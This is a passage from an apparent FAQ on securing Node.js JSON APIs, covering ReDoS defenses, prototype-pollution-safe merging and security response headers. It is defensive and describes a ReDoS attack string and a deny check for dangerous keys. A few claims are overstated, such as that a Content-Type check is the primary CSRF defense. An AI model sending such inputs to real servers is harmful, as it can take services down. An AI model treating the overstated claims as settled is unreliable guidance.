ReDoS attacks target regex validators applied to JSON string fields. A crafted input like 30 "a" characters followed by "!" applied to a regex with nested quantifiers ((a+)+) causes exponential backtracking that blocks Node.js's event loop for seconds — a single request can take down the server. Four defenses: (1) enforce maxLength before any regex — add JSON Schema maxLength constraints to all string fields; a 10,000-character attack string cannot trigger ReDoS if you reject strings over 256 characters; (2) use the re2 npm package — Google's Re2 engine guarantees linear-time matching; use it as a drop-in replacement for RegExp on any user-supplied input; (3) audit patterns with safe-regex — detects vulnerable patterns at development time; (4) run validation in a worker thread — if a regex blocks a worker, the main event loop continues serving other requests; set a 500ms timeout. Using ajv-formats for standard format validation (email, URI, date-time) is safe — it uses Re2-compatible implementations.
How do I safely merge JSON objects without prototype pollution?
Safe JSON object merging requires three steps in sequence: (1) validate first — run incoming JSON through a JSON Schema with additionalProperties: false before any merge; if the schema rejects __proto__ keys, they never reach the merge function; (2) skip dangerous keys explicitly — in any recursive merge function, add if (key === "__proto__" || key === "constructor" || key === "prototype") continue; before processing each key; (3) use Object.create(null) as the target — an object with no prototype cannot have its prototype chain corrupted; Object.assign(Object.create(null), parsed) is safe for shallow merges. For libraries: lodash _.merge() is safe in v4.17.21 and later (patched after CVE-2019-10744); the deepmerge npm package is safe by default; the spread operator { ...target, ...source } only performs a shallow merge and does not protect against nested __proto__ keys in deeply nested payloads. Never use a naive recursive merge on untrusted JSON without schema validation first.
What HTTP headers should a JSON API set for security?
A secure JSON API should set these response headers on every endpoint: Content-Type: application/json; charset=utf-8 — declare the response type explicitly; X-Content-Type-Options: nosniff — prevents browsers from MIME-sniffing JSON as HTML; Cache-Control: no-store — prevents caching of sensitive API responses; Strict-Transport-Security: max-age=31536000; includeSubDomains — enforces HTTPS; X-Frame-Options: DENY — prevents embedding in iframes. For CORS: set Access-Control-Allow-Origin to a specific origin whitelist — never * on authenticated endpoints; include Content-Type, Authorization, and X-CSRF-Token in Access-Control-Allow-Headers; set credentials: true only with a specific origin. For incoming requests: require Content-Type: application/json on POST, PUT, PATCH, and DELETE — return HTTP 415 if missing. This single incoming header check is the primary CSRF defense. Use the helmet npm package to set all security response headers in one middleware call. For complete API design patterns, see our JSON API design guide.
Further reading and primary sources
- OWASP: Prototype Pollution Prevention Cheat Sheet — OWASP guidance on detecting and preventing JavaScript prototype pollution attacks in Node.js applications
- OWASP: CSRF Prevention Cheat Sheet — Comprehensive OWASP guide to CSRF attack vectors and defenses including JSON API patterns
- npm: re2 — linear-time regex engine — Node.js binding for Google's Re2 regex library — immune to ReDoS via guaranteed linear-time matching
- npm: safe-regex — detect vulnerable patterns — Detects regex patterns with catastrophic backtracking potential — integrate into CI pipelines to catch ReDoS before deployment
- Snyk: Prototype Pollution vulnerability database — Snyk's searchable database of known prototype pollution CVEs in npm packages — audit your dependencies